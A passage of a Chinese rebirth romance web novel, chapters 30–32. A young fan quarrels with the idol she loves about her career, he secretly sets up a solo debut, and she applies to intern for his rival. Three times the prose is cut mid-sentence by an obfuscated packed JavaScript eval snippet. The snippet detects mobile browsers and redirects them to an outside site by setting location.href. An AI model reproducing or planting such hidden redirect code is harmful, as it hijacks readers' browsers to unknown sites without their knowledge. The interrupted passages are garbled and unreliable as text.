自助餐厅里依然人声鼎沸,洋溢着各家的欢乐。漂亮的水晶吊灯下,烤牛排的油滋滋作响,海鲜区里是冰雾蒙蒙,孩子们举着雪糕跑过,嬉笑如常……如此热闹的场面,都像是在嘲笑着她此刻的心碎与无助。 她吸了吸鼻子,胡乱地抹掉眼泪。不行,她可不能就这么不清不楚地回家去。她抓起旁边的包,对顾蓝匆匆说:“我去找他。”不等对方反应过来,便起身追了出去。 顾蓝看着瞬间空了的两个座位,挠了挠头,嘀咕道:“这叫什么事儿啊……一个两个都不饿吗?”他转头看了看桌上没怎么动的、香气四溢的美食,叹了口气。“算了,天大地大,吃饭最大。这些可不能浪费了。我可是给了三个人的自助餐费啊啊!!”于是,他重新拿起刀叉,继续投入到与美食的战斗之中,心境与刚才离去的那两人截然不同。 * 纪屿走出了餐厅,融入商场熙攘的人流里。商场夏日的冷气让他发热的头脑稍微冷静了一点点,随之涌上的,是一丝难言的后悔。 他也没想到自己的反应会那么大,那么…… 失态。 他这样不留情面的话,一定让她感到很难受吧。 可若重来一次,他依然会拒绝这件事。 他心底的情绪,让他感到很陌生。 有点愧疚。 所以……是因为他吗? 因为他出现在她的生活里,因为他练习生的身份,才让这个女孩对“传媒”、对“娱乐”产生了向往? 是不是他无意间,将一株原本该向阳而生的幼苗,引向了那万分危险,布满毒雾的沼泽边缘。 他们这个圈子…… 纪屿停下脚步,缓缓抬起了头。 眼前是商场巨大的中庭,中庭的穹顶下是一块很大的电子屏。大屏里,当红的明星正代言着高端奢侈品,笑容完美没有瑕疵;下面的另一块屏幕上,是新晋歌手的专辑宣传片,特效和画面都是无可挑剔的;四面的广告牌上,一张张漂亮的面孔引人瞩目,招人喜爱。 这一切,看起来是多么光鲜亮丽,璀璨夺目。 他们的圈子,表面上象征着名利、光芒、喝彩。 可只有真正身处其中的人才知道,这华丽的幕布后面,是怎样的血雨腥风?不只是台前的明星如此,幕后人员的明争暗斗也是无比残忍的。 他闭了闭眼,眼前浮现了前世的画面。 是他那无数个看不到光的训练日,是被他人轻易窃取的心血,是来自“朋友”的背刺,是即便站在顶峰,也可能随时坠入的万丈悬崖。 他怎么能眼睁睁看着这个心思纯净,眼睛发亮的女孩,走进火坑里? 他现在能做的,只能是让她远离这一切。 纪屿望着屏幕上那些虚幻的笑容,苦笑了起来。 也许,他应该把她推的再远一点。 不要靠近他。 远离他。 * 商场里人潮汹涌,林定在一望无际的人头间急切地搜寻着。在一个转角处,那个熟悉的背影映入了她的眼帘。 挺拔的,清冷的,带着那与周遭格格不入的独特气质。 这一刻,什么保持距离,什么维持形象,都好像不太重要了。 她跑着冲了过去,在人流之中,一把拉住了纪屿的胳膊。 纪屿错愕地回头,在看到是她的一刹那,眼中是复杂的、林定读不懂的情绪。 她抬头看着他的脸,呼吸急促,声音却很轻:“我们谈谈,好吗?” 纪屿的目光落在她红红的眼眶上,那里还有着未干的眼泪。他只沉默了两秒,便轻轻地点了头。 林定立刻松开了手,转身领着他轻车熟路地朝商场相对安静人少的货梯间走去,这毕竟是她生活了二十多年的城市,商场的布局她也是十分熟悉了。 纪屿跟在她身后,看着她单薄的背影,想到自己刚才的言辞,心底的不忍再一次弥漫开了。 走到货梯间附近,终于是安静了许多。林定在货梯前停下脚步,转过身,直视着偶像的眼睛。 “你可以告诉我,为什么吗?”她问道。她知道,今天的一切她都有些越界了,坐偶像的车,和偶像吃饭,拽偶像的手,以及现在不礼貌的追问。可虽然如此,她还是一定要问清楚,为什么他要阻止这件事。 “是我语气太重了。抱歉。”纪屿没有正面回答她,反而是移开了视线,低声对她道歉。 可这声道歉,却让林定更加难受了。 “我只想知道原因,”她语气急切了起来,“我是真的想去实习的。如果内推不合流程,那我就去自己投简历。专业方面也是蛮合适的,我打算报的就是相关专业,这对我未来……” “换一个专业吧,定定。”纪屿直接打断她,声音不高,“这个行业,不是你想象的这么好,也不适合你。”他依然没有给出正面的理由。 “我不是要做明星的,我知道我长得很普通,”林定误解了他的话,着急地向前迈了半步,语气有些自嘲,“我想做的是幕后,经纪、策划、助理这些……我觉得这类工作很有意义,也很有意思……” “我没有那么想,不是这个意思。”纪屿立刻反驳,他的目光重新落在她脸上,在那双仍然泛红却亮亮的眼睛上停留,“你很漂亮。” 这完全出乎意料的称赞,让林定的脸一瞬间就烧了起来,在嘴边的话也迷了路,她张了张嘴,又合上。 纪屿微微别开脸,将话题拉回:“你为什么会觉得那些工作有意思?是因为我吗?” 林定愣住了,这直白的问题击中了她。 该怎么回答?他说的,的确都是实话。自己重生以来,不就是想要靠近他的世界吗,不就是想要替他阻挡娱乐圈的那些陷阱吗? “我看到你的手机壁纸了,定定。”还没等她组织好语言,纪屿已经轻声地揭开了她的遮羞布。 他的语气很平静,可他的话却像闪电一样,重重地、残忍地劈在了林定身上,她无法呼吸了,只觉得自己浑身的血液似乎都在这一瞬间凝固了起来。 她捏紧了手中的手机,手指的关节都泛了白。 对了……她叫他帮忙登录电脑微信。 自己怎么会忘记了壁纸…… 她无声地向后退了一步。 完了。 巨大的恐慌包围了她。 纪屿一定会误会的,误会她是那些没有边界感的私生粉,处心积虑想要闯进他的生活。 他会讨厌她,他会疏远她,再也不会回复她的邮件…… “我只是……觉得那张照片很好看……”大脑一片空白之下,她听到自己苍白无力的借口,声音无力,“……对不起。” 纪屿没有回答她。商场遥远的喧闹声、广播音乐声、来往的脚步声……所有声音混在一起,包裹着他们之间这令人窒息的沉默。 良久,他才重新开口,声音有一些疲惫。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16844625|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“趁现在还没做最后决定,换一个专业吧。这个行业,真的不好。不适合你。”纪屿的声音又低了一些,重复着这句话,像在说服她,也像是在加固自己的结论。 他眼前浮现出那些隐藏在圈子光鲜背后的算计与肮脏,他不愿这双此刻正望着他的清澈眼眸,被那些污秽沾染半分。 “不适合我?”林定的声音微微发颤,她感到心脏有些疼,却用尽全力来维持着表面的镇定,“为什么呢?” 她重生以来所有的动力,重新苦读的日夜,对未来清晰的规划……好像大部分都源于“拯救纪屿”这个目标。可现在,这个她决心要拯救的人,却站在她面前,堵上通向他世界的路。这让她过去两年的坚持,显得像个荒唐的笑话。她又想起前世,决定注销作者账号前,评论区也充斥着“你不适合写作”等等的冰冷字眼。 那时的她选择了退缩。 可现在…… “你为什么觉得我不适合?”她再次向前一步,眼眶更红了,声音却非常地清晰,“我甚至还没有真正做过,你就提前否定了我。” 纪屿试图用更实际的理由说服她:“这一行比你想象的要辛苦得多,压力也很大,也并不如看起来这么光鲜。你可以有更稳定、更体面的选择。” “体面……”林定品味着这个词,语调平静下来,她想到了她那份看似体面的恶心工作。 “那你觉得,什么样的工作才适合我,算体面呢?” 纪屿被她问得一怔,他并没有准备答案,毕竟他的初心只是想让她远离娱乐圈,他所有的话都只是想让她远离这一切。于是他下意识地环顾四周,货梯厅的广告不如商场里面多,只有一块不那么起眼的广告灯箱——那是一款知名软件的推广,也正是林定前世任职、最终令她猝死工位的互联网巨头之一。 “嗯……像这样的公司,”他指了指那块广告牌,“平台大,发展前景好,学习机会也多。这对于年轻人来说,会是很好的起点。” “哈哈……” 林定忽然笑了出来。 那笑声短促又干涩。 没有半分愉悦,只有满满的荒谬和心碎。 她望着那块广告,灯箱有些接触不良,那灯光一闪一闪的似乎随时就要灭了,就和她以前那样。她好像看到了前世无数个加班到凌晨的深夜,看到了那间令人窒息的办公室,看到了最终夺去她热情和生命的工位。 前世数不清的被任务压得喘不过气的夜晚,是耳机里他的歌声和屏幕里他的笑容在拯救她;可此时,建议她走向那条路的,竟然是她视为光的人。 纪屿被她这反常的笑弄得有些无措,只见她又后退了一步,与他拉开距离。 他乱了分寸,语调不再平静:“你不喜欢这类公司吗?” 林定看着他,直截了当,“我很讨厌。” 纪屿沉默了,他看着她眼里陌生的情绪,意识到自己可能犯了一个很大的错误。“对不起,”他的声音有些苦涩,“我还是不够了解你。” “你确实不了解我,”林定抬起了头,红红的眼直视着他,“你的梦想是舞台,那很耀眼。我设想的道路或许不如你的精彩,但那也是我认真思考后,决定要走的路。” 她说完,便伸手按下了货梯的下行按钮。 “纪屿,你安心准备出道吧。”她的声音恢复了平静,还带上了礼貌的意味,“我也要静下心来,好好研究报志愿的事了。谢谢你和顾蓝哥今天帮我送手机回来。” 老旧的货梯门嘎吱一声打开。 “我不会麻烦你们内推的,也不会去你公司的。”她迈步走进了电梯,转身面对他。心脏虽然疼得发紧,但她还是在电梯门缓缓合上之前,努力地牵起了嘴角,给了他一个很淡的微笑。 “有机会的话……再见吧。拜拜。” 电梯门彻底关闭,她的身影完全消失在他的视线里。 货梯厅瞬间再次安静了下来。 纪屿独自站在原地,面前是那块刚才被他指过的广告牌,此刻已经彻底宕机熄灭了,显得格外暗淡,没有一丝温度。 货梯厅只剩下安全指示灯散发的幽绿微光。 30.30 出道 货梯缓缓下坠,门在一楼打开。 林定从里面走出来,感觉心脏好像被揉在一块后又撕扯开,疼得喘不上气。刚才和纪屿的争执反复在脑海里面回放,每一个瞬间都让她难受得想爆哭出来。 一楼的货梯出口,直通超市的收货区,空气里混杂着牛皮纸箱与生鲜腥冷的气味。林定缓缓地走到侧面一堆饮料箱旁,疲惫地在箱子上面坐了下来。她拿起刚取回的手机,屏幕亮起,微信图标上有红点未读提醒。 她点开,通讯录那一栏有一个新的好友申请。 头像是一片泛着微光的大海,微信名简单地只有一个“屿”字。 没有验证信息,但林定知道这是谁。 心跳又不争气地加速了动作,可随即便是比刚才更汹涌的酸涩情绪涌了上来。这是他帮她登录微信时,顺手加了自己吗?这算什么…… 他看到壁纸之后不是会讨厌她吗。 眼前,这个触手可及的存在,反而让她更加清醒地看到了两人之间真实的距离。 星星可以照亮赶路的旅人,但若是试图靠近…… 或许,会让星星感到困扰。 她闭上眼,深深吸了一口气,再缓缓呼出。是她逾越了,是她太贪心,忘记了星星就应该远远望着,是她擅自靠近,模糊了那条本该清晰的沟壑。 她通过了好友申请,却没有发任何信息过去。 林定在对话框里停留了几秒,然后默默地退了出去。 该回到正确的位置上去了。 不用闯进他的生活,默默守护他就可以了,这才是对的。 就在她纷乱的思绪刚缓解了些许时,寂静的收货区,入口处突然传来一阵急促的脚步声…… 林定一惊,以为是超市员工来赶人,于是慌忙站起身。 然而,一个人影如同箭般猛地冲了进来,与她擦肩而过。两人视线在昏暗的光线中对撞了一瞬,那人的动作敏捷得像专业运动员,不作丝毫犹豫,一个跨越,翻过了林定刚才坐的那摞箱子,瞬间隐匿在了那后面。 等等……? 林定疑惑地皱了皱眉。那双与她对视的眼睛,还有那优越于常人的侧脸轮廓……怎么有点眼熟呢? 没等她细想,入口处的骚动放大,十几个拿着手机、相机的人涌了进来,吵吵嚷嚷的。 “人呢?我明明看他拐进来了!” ??“秋哥哥呀!你在哪里呀?” ??“快找找!” “那可是成子秋私服,啥都没拍到我怎么发啊……” 啊?成子秋?! 林定脑中浮现了成子秋的脸,刚才那个躲藏高手,还真是前世纪屿的那个最大的竞争对手。 那么,这些举着设备、面目急切狰狞的人,就是私生饭咯? 一股强烈悲哀和愤怒霸占了她此刻的全部情绪。悲哀的是,就在不久前,她大概也被纪屿划入了私生或是狂热粉丝的范畴;愤怒的是,眼前的这些人,正是打扰艺人私生活、制造无数困扰的万恶之源。她又想起,前世纪屿也曾被这些人围追堵截,休息日都会被跟踪…… 真是太过分了! 一想到大明星,竟然要在商场收货区东躲西藏,就觉得好惨好可怜。 一种同情的义愤,混合着对这类行为的深恶痛绝,在这一瞬间压过了她对成子秋本人的厌恶。她向前一步,冲着那群乱翻乱看的人大声呵斥道: “你们是什么人?!这里是超市工作区域,进来干什么的?!出去!!!” 虽然她现在顶着十八岁的脸,但她躯壳里是个职场社会人,此时她声音清脆,却带着严厉的怒气,在嘈杂的空间里格外响亮,几个正四处张望的私生被她吓了一跳,纷纷看向她。 “喂,你看到刚才有人跑进来吗?”一个女孩口气不善地问。 “没有哈,”林定回答的很干脆,“这里只有我,请你们立刻离开,不然我要叫保安了!” 那几人见她态度强硬,又觉得这边确实没发现目标,这才骂骂咧咧地退了出去。 收货间重新恢复了安静,只剩下远处超市传来的阵阵音乐和特价广播。林定这时才听到,身后箱子那边传来压抑的呼吸声。 啧,连呼吸声都让人讨厌。 她在心里翻了个白眼。虽然她救了这人,但前世他抢纪屿资源、各种拉踩通稿的账可没算完。也罢,今日就当是为被私生困扰的艺人做了件好事,希望这一世这家伙能少作点妖,别再针对纪屿了。 “他们走了。”林定没好气地对着空气说了一句,拎起自己的包,也打算离开这里了。走了两步,又顿住,气呼呼地补了一句:“这边有货梯,可以直接到地下车库。” 说完,她便头也不回地朝门口走去,心里还忍不住吐槽那成子秋,真是没礼貌,连句谢谢都没有。 她不知道的是,在她身后,那个被她蛐蛐的人,早已从箱子后面走了出来。 成子秋穿了一身简单的休闲服,鸭舌帽压得很低,但接地气的穿着和略显狼狈的躲藏并没有将他身上的星味盖过,他那挺拔的身形依然与收货间的环境格格不入。他静静地站在堆积如山的货物阴影里,一双极其好看的眼睛带着几分玩味,正追随着那个气鼓鼓离开的女孩背影,直到她消失在视野中。 他默默将刚才私生踢翻、撞乱的纸箱扶起来后,轻轻按下了货梯的下行按钮。 * 林定再也没有给那个熟悉的邮箱发送过新的邮件。 父母出差归来后,她花了些时间和他们沟通自己的志愿选择。或许是这一世成绩单上持续优异的排名给了她足够的话语权,也或许是自己和父母的正确沟通,让他们终于开始正视她的想法了,他们虽然担忧,但最终都被她说服,认可了传媒行业的发展潜力,同意了她的决定。 她近日的难过和纠结,都悄悄投射在了她的小说里。故事里,历经磨难的祝星昕终于凭借自身实力,赢得了与之仰慕已久的前辈大师并肩作战的机会,然而,就在读者为之欢呼时,她笔锋一转,那位前辈大师在月色下对祝星昕冷言道:“此路万分凶险,非你心性所能驾驭。离开吧,去寻你的阳关道!” 评论区顿时炸开了锅。 有人心疼祝星昕遭遇否定,有人指责大师冷酷无情,也有人猜测大师必是另有隐情,苦心相逼。 林定合上电脑,拿起手机, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16856992|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指尖打开点开那个头像,打开了那个不记得自己已经刷多少次,仍然空空如也的朋友圈。 她轻轻叹了一口气。 而她那个名为“热爱屿林”的粉丝号,依旧每日上线,兢兢业业地为纪屿做着数据,转赞评,一日不落下。 上一世,他们的出道日就是六月二十日,林定记得清清楚楚。然而,不知是何原因,变数突然降临,问鼎娱乐竟以“不可抗力因素”为由,宣布出道日期推迟。 林定盯着那条官方微博,眉头紧锁——这是她重生以来,第一个脱离前世记忆轨道的重大变数。她很想点开那个沉默的聊天框,问一句“怎么了”,可最终还是没有问出口。 放榜日,林定查到了远超预期的好成绩。后续的志愿填报环节,她也坚定地按自己选择的路走了下去。邓晓春报了前世的那所B市综合性大学,何纯也考出了比原来更好的分数,三人都将志愿锁定在了B市,并且在后来都收到了心仪大学的录取通知书。 林定将通知书的照片发在了朋友圈,收获了许多点赞与祝福。滑动屏幕时,她愣了一愣,那个沉寂了大半个月的账号,竟也出现在了点赞列表里。 林定的手指很想触碰那个名字,可又像是被无形的距离烫到了。最终,她像是下定了某种决心,用力地向上一划,转而点开微博,切换到她的粉丝号,继续用那种“安全”的距离和方式,为她的星星呐喊助威。 然而,那变数来得比她想象的更剧烈。就在她收到录取通知书的第二天,问鼎娱乐的官微发布了出道曲和最终出道名单,瞬间点燃了整个娱乐圈。 林定瞪大了眼睛,反复刷新。 出道人员名单…… 顾蓝、任声声、许栖铜…… 名单和海报里,都没有纪屿的名字。 “怎么会……这不可能……”林定慌乱地自言自语。 前世的他,是ATW团队核心。重生一次,为什么连出道都没有他的份? 他付出了那么多,等待了那么久……此刻的他,该有多难受? 她和其他同样无法接受的粉丝一起,涌入官微评论区,愤怒地质问、维权,试图为那个缺席的身影讨一个公道。可是,冰冷的官方公告纹丝不动。 还是说…… 她想到了前段时间那个所谓的不可抗力因素,该不会…… 她的眼前闪回了当初他死亡的新闻。 不,不会的。 混乱、焦虑、担忧……各种负面的情绪在冲击着她。她想知道到底发生了什么,是不是他遇到了什么事,这个团纵然有万般的不是,却也是纪屿通往舞台梦想的关键钥匙。 在情绪翻腾到顶点时,她颤着手,终于还是点开了那个对话停留在好友验证通过的聊天框。她删删改改,最后,只发出了几句极其简短的询问: 【你还好吗】 【你没事吧】 【出道名单,怎么没有你?】 “叮铃……”林定的手机响了起来,她急急忙忙点开未读消息。 【我没事。】 【恭喜你考上想上的大学,定定。】 【我会以个人形式出道。】 31.31 面试 那一晚,纪屿在夜里坐了许久。 窗外是看似不夜的城市,灯火阑珊,却照不清晰他纷乱的心绪。 林定最后那个强撑的微笑,和她转身走进电梯时失落的背影,反反复复地在他眼前浮现。 他知道,自己的那些话,说重了,也说错了。 他否定了她。 他凭什么?就凭自己多活了一世,见识过那个圈子里最肮脏的角落,体验过从巅峰坠落的痛感?可那是他的经历,不是她的。他对她的了解,其实少得可怜——除了知道她喜欢某张唱片,会写温暖鼓励的邮件,学习成绩好,以及……手机里存着他的照片。 仔细回想,邮件里好像都是她在问候他,他似乎并没有主动关心过她的想法。 他并不了解她为何对这个行业产生兴趣,不了解她擅长什么,更不了解她的坚持。 他好像,只是因为恐惧,恐惧自己这不确定的未来会牵连到她,就切断了她想选的路,试图将她推向他所以为的安全之路。 这样的否定,一定伤到她了。 他想为自己白天的失言道歉,想解释那并非他的本意,却又觉得任何语言都有些徒劳。 经纪人的电话打了进来,语气冷漠地与他确认关于即将到来的出道安排细节。电话挂断后,屏幕重新暗下去,他又沦陷进了黑暗里。 算了。 道歉或许能缓和关系,可然后呢? 他重生是为了修正错误,阻止悲剧,向那些造成他前世悲惨结局的力量讨回公道。这条路注定不是平坦的,甚至可能比之前更加凶险。 他自己的结局尚是未知。 顾蓝是他的兄弟,已经在圈子里。但林定,她还有机会选择阳光的道路。 也许,远离我,才是对你最好的保护。 如果最终的命运难以扭转,那么至少,他希望能少一个人为他伤心。 他得先做自己必须做的事。 他走到日历前,目光落在某个被红圈标注的日期上——那是前世,公司最终拍板,将一首本属于他创作给团队的歌,强行划给戴无极作为个人专辑曲的日子。也是在那一天,公司通知他,作为补偿,他将C位出道,带领ATW走向辉煌。 但从那时起,他的个人发展,每一分每一秒都受到诸多限制。 这一次,他不要这个戴着枷锁的C位了。 他凭着记忆,输入了一个熟记于心的号码。电话响了几声后就被接起了,对面传来一个沉稳的男声。 “喂,哪位?” “您好,陈导,冒昧打扰。我是问鼎娱乐的新人纪屿,关于您正在筹备的《S+演唱荟》,我有些想法,不知能否占用您十分钟时间……” * 忙碌的时候时间总是过得飞快,一切都按他的计划进行着。 林定的再没有给他发新消息了。纪屿偶尔会点开那个空空的对话窗口,看一眼那句仅有的系统提示“我通过了你的朋友验证请求,现在我们可以开始聊天了”。 直到他的朋友圈里,出现了一张录取通知书的照片,他刷到的时候马上点了赞。做完这个动作,他才意识到,这似乎是他重生以来,第一次做出的朋友圈日常互动。 他看着她最终的选择,有一些无奈,却也为她梦想成真感到欣慰。 紧接着的,便是他计划中的命运转折。 公司官宣出道的微博引爆网络,而他的名字,自然如他计划的那样,不在那份光鲜的名单之中。 围脖上开始了铺天盖地的帖子,有粉圈的震动、营销号的猜测、公司的官方说辞…… 他冷静地看着这一切。 手机在桌面上嗡嗡震动,各类消息涌入,他都视而不见。 直到屏幕突然跳出了三条新信息。 来自林定。 隔着屏幕,他似乎能想象出她此刻的表情,那双总是亮晶晶的眼睛里,盛满了的好多担忧和不解。 在他无意识间,他的唇角已经上扬了。 他以为…… 她再也不会找他了。 却没想到,在出道名单公布的短短时间内,她就发来了询问。 这份默默的关注,让他感到一种复杂的暖意。 他斟酌了片刻,先是恭喜她考上了想上的大学,再是告诉她,自己会用比团体出道更好的方式出现在舞台上。 * 收到他回复的同时,林定的手机上,娱乐新闻的推送响起。#S+演唱荟阵容官宣# 的话题空降在热搜上,这档歌唱竞技类节目的官方围脖发布了综艺阵容,纪屿的名字在列,宣传照上的他气质非凡,眼神坚定,与以往在团队宣传照里的感觉截然不同。 林定愣住了。 这个综艺…… 她当然记得! 那是当年现象级的黑马,赛制残酷,但也确实是才华横溢者一夜成名的绝佳跳板,比赛的冠军还能获得发行个人专辑的宝贵机会。 可她的记忆里……纪屿可从未参加过这个节目啊!? 这一世,他竟然走了完全不同的路。 他放弃了男团的C位出道,选择单打独斗,闯进这个更考验个人实力,更具风险的竞技场里。 眼泪涌上眼眶。 此刻她的情绪太复杂了,她也说不清是为什么。 或许是,看到纪屿的演艺轨迹被改变了的震撼感。 也或许是,纪屿这一世终于实现了前世粉丝们对他“单飞”的期待…… 她吸了吸鼻子,小心翼翼地回复:【恭喜你】 纪屿的回复也很快,依旧简短:【谢谢。】 盯着这两个字看了许久,林定没有再输入任何话语。 她退出微信,仿佛退出了一个不该过多停留的地域。然后,她点开了围脖,以那个名为“热爱屿林”的粉丝号,将《S+演唱荟》的官宣微博转赞评,号召纪屿的粉丝们关注支持,将所有的激动与期待,都倾注到数据和口号里。 她在用自己的方式,隔着合适的距离,为他即将开启的新征途,呐喊助威。 这样就好了,她对自己说。 上一世期盼他早日单飞的心愿,没想到在这一世提前实现了。 可是……欣喜之余,担忧也渐渐浮上心头。 她努力回忆,前一世,这个节目的冠军是…… 成子秋。 正是在这个节目之后,成子秋的人气与资源再度飞升,纪屿是努力了好几年才有资格与之成为对手。 可这一世,纪屿提前与他在这个舞台对上…… 那么,来自成子秋经纪公司、甚至他背后势力的打压,会不会也提前到来? 那纪屿会不会…… 正思绪打架间,邓晓春的电话打了进来,声音是压抑不住的兴奋:“林小定!你看到了没有!你上次带去火锅店的那个顾蓝,成团出道了!我的天,成团照绝了……我现在真觉得这人帅炸了!我要转粉了!……哦对了,你家纪屿居然要去参加音综了?厉害啊,单飞诶,你眼光可以嘛!” 林定哭笑不得。 看来,改变的不仅仅是纪屿的道路,连晓春的粉籍都悄然转移了。“是是是,顾蓝确实挺好的。”她顺着晓春的话说。 “诶,说正事!”晓春的声音调子都高了,透着跃跃欲试,“我不是最近在找暑假实习吗?刚好刷到了顾蓝他们公司,问鼎娱乐在招暑期实习助理,短期的!你陪我去去试试呗?反正录取通知书都到了,暑假这么长这么长,提前去B市适应一下~“ 林定心中一动。纪屿的公司?她答应过他不去的。“啊,可是……”?? “你还是专业对口,我是学人力的,就当去玩玩啦!B市嘛我们可以合租,我听说隔壁班小娜已经投了欣喜娱乐的简历了,她是成子秋的铁粉,他们公司也在B市哦。” 一个大胆的念头如同闪电般划过了林定的脑海,瞬间冲破了迷雾和之前的担忧。 她是答应过他,不去他们公司。 那么,好,既然不能在明处守护,为何不潜入暗处观察? 既然她担心成子秋那边会对纪屿不利,那么敌人的阵营,或许就是最能获得信息的地方。 “好啊!”林定的声音突然变得清亮而充满决心,打断了闺蜜的絮叨,“一起去B市!不过——” 她顿了顿,嘴角勾起了一抹久违的弧度: “我要去应聘成子秋的实习助理!” * 因为六月高考,林定差点忘记了爆金币的正事。孟晚书终于迎来了爆红,林定马上将那些事先收藏来的初代专辑在二手平台上全数高价出手,赚得了远超预期的“第一桶金”。 在晓春“你又不是成子秋的粉丝”的不解嘟囔之中,林定已经下定决心要把简历投去了欣喜娱乐。得益于前世锤炼出的“专业牛马”的素养,她的简历写得漂亮极了。还有,她之前就有几个围脖小号,她在信息栏处填了一个专门转发财经新闻,毫无追星痕迹的小号,让她顺利通过了欣喜娱乐的“粉籍”调查。线上初试对她这个见过风浪的前社畜来说,就是小场面,她很快便接到了终面通知。 晓春那边也进展顺利,拿到了问鼎娱乐的终面机会。 七月初,两个女孩带着简单的行李,踏上了前往B市的旅途。 林定的终面是线下面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16869931|187627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 试,安排在了七月的第一个周五。她独自走进欣喜娱乐总部的大厦,一楼的大厅里,悬挂着公司旗下多位艺人的巨幅海报。成子秋的海报也在其中,笑容灿烂,光芒四射,但此刻的他,还不是公司的头部艺人。 林定瞥了那海报一眼,心里那股抵触劲又冒了出来,对着海报撇了撇嘴,这才走向电梯。 面试等待区已经坐了十几位年轻人,看样子都是大学生。工作人员告知他们,最终只会留下六个人,分别配给不同的艺人团队。 林定心里微微叹气,看来,分到成子秋那边,只能看运气了…… 不过她很快调整好了心情,定了定神,告诉自己,先拿下欣喜娱乐的这个入场券再说。 * 同一时间,楼上的某间会议室里,成子秋刚结束与经纪人《S+演唱荟》综艺的细节沟通。 经纪人合上笔记本电脑,又叮嘱了几句便转身离开。 会议室门关上的一瞬间,成子秋一直挺直的脊背才微微松垮下来,向后靠进柔软的沙发里,呼出一口长气。 这样的日子,到底什么时候才是个头? 疲惫并非来自身体的劳累,而是面对一切的无力感。说白了,他就是一颗被精心包装后摆上货架的商品,光鲜亮丽,引人注目,却从没有属于自己的主意。 他休息了片刻,便起身准备回去。刚拉开会议室的门,就听到右侧走廊传来了隐约的人声,似乎是某个会议室内正在进行着集体面试。 他有些疑惑,便向那边走了过去。 透过那间会议室的透明玻璃墙,他看到里面整齐坐着两排年轻的男孩女孩,正接受着几位公司管理层的提问。 他抬头看了一眼门边的电子屏。 【暑期艺人实习助理终面】 他的目光随意地扫过那些紧张或激动的面孔,最终,被一个女孩吸引了。 很眼熟。好像在哪里见过。 她的长相在见惯了精致女明星的成子秋眼里,算不上惊艳,但很特别,是校园里会很受欢迎的那种类型。 然而,最特别的是她的眼神和周身的气场。 在一群明显带着渴望及忐忑的面试者中,她看上去过于平静了。 她的眼睛亮亮的,却没有其他人那种热切的谄媚,反而透着一种与年龄不符的淡然感,仿佛这不是一场紧张的面试,而是一场日常的工作例会。 “看中了?”经纪人的声音冷不丁地在身后响起,带着平日里一贯的调侃语调,“正挑人呢,会选一个给你当实习助理,跟着你跑综艺,这两个月。”说着,将一沓简历递到他手里。 成子秋习惯性地对经纪人露出一个无可挑剔的微笑,接过简历,简单地翻看起来。很快,他的指尖停在一页上。 林定。 证件照上微笑的女孩,正是玻璃墙后他眼熟的那一个。 “进去听听?”经纪人提议道,“毕竟要跟你两个月,我也想给你找个机灵点、办事利索的。你有想法也可以说。” “好。”成子秋点点头,保持着礼貌和配合的姿态。 他知道的,这只是经纪人循例一问罢了,什么时候他有选择权了? 经纪人敲了敲门,示意后,便领着成子秋推门走进了面试现场。 门开的动静让所有面试者抬起了头。 当看清来人是成子秋时,会议室里顿时响起了低低的惊叹声。 “哇……” 几个女孩的眼睛瞬间亮了起来,流露出惊喜。 唯有一个人例外。 成子秋的目光,缓缓看向那个叫林定的女孩。 记忆如潮水一般涌来。 超市收货区昏暗的灯光,堆叠的纸箱,蜂拥而入的私生…… 那个挡在他前面、冲着人群不留情面厉声呵斥的、气鼓鼓的背影…… 是她。 可他却感觉,他们好像在更早之前就见过。 林定对周围人的惊叹感到好奇,于是她也抬起了头,看向来人。 两人的视线在空中直直对上。 成子秋一愣。 那双眼睛……此刻正与他对视,可里面没有半分见到明星的热切,只有一种毫不掩饰的反感,以及浓浓的疏离。 原来,是她。 二十多年来,唯有一个人,这么看过他。 他记起来了,两年前,某个亲戚的婚礼上。 是那个对和他搭话不屑一顾的小姑娘。 那天的她,穿着漂亮的浅蓝色连衣裙。 成子秋面上维持着标志的浅笑,对在场的面试官和候选人们微微点头,心里却泛起了细微的涟漪。 32.32 你的对立面 轮到自己回答时,林定的心态非常平稳。 前世在大厂历练出的汇报能力和处理各种bad case的经验,让她面对这种面向在校生的、基础的面试题时游刃有余。她逻辑清晰,语气不卑不亢,在一众紧张或是用力过猛的候选人中,透出一种职场人的成熟。 就在群面环节告一段落,面试官低声交流的时候,周围忽然传来骚动。林定顺着几个候选人偷偷瞥去的视线,望向门口。 原来是成子秋。 她皱了下眉。 已经是第三次见了,她还是没法收敛自己对他的厌恶感。谁让他身上贴着纪屿的“对家”标签呢,让她看这人哪哪都不顺眼。 想起网上那些粉丝吹捧的什么“破碎感美学”、“我见犹怜的气质”、“瞳孔里藏着整个秋天的忧伤”…… 